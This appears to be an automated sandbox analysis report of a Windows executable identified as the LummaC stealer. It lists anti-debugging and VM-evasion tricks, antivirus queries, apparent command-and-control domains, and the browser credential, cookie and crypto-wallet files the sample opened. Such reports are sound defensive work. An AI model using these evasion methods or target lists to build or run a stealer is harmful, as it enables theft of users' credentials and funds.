Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D23722 second address: 6D23728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D23728 second address: 6D2372D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D23A0C second address: 6D23A18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D23C49 second address: 6D23C4E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D240CC second address: 6D2415D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FB5588467F5h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D1E82h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FB5588467E8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov si, cx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FB5588467E8h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f jmp 00007FB5588467F4h 0x00000054 push eax 0x00000055 pushad 0x00000056 jmp 00007FB5588467EAh 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D25AB1 second address: 6D25AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D25AB5 second address: 6D25AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D265FB second address: 6D2661B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB55958F8B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007FB55958F8C2h 0x00000014 jmp 00007FB55958F8BCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D263B5 second address: 6D263B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CECB3A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CECBBA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CECB60 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E936F9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EA3632 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F1C5AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6B6DC9D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6D213F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6DB046B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06B7148D rdtsc

0_2_06B7148D

Source: C:\Users\user\Desktop\file.exe TID: 6336	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6592	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5276	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4952	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5892	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5692	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2490552768.0000000006A3E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2486130208.0000000000E75000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2490049772.0000000005E40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}/
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2155125578.0000000005DE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)~
Source: file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000002.2487135569.0000000001644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\z
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2487135569.00000000015C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2155125578.0000000005DE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2486130208.0000000000E75000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.2490552768.0000000006A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2155237698.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06B7148D rdtsc

0_2_06B7148D

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2486130208.0000000000E75000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: hY6Program Manager
Source: file.exe, file.exe, 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2229090667.0000000001674000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229045547.000000000166F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2156655857.0000000001654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ata%\\Exodus\\exodus.wallet","m":["*"],"z":"
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
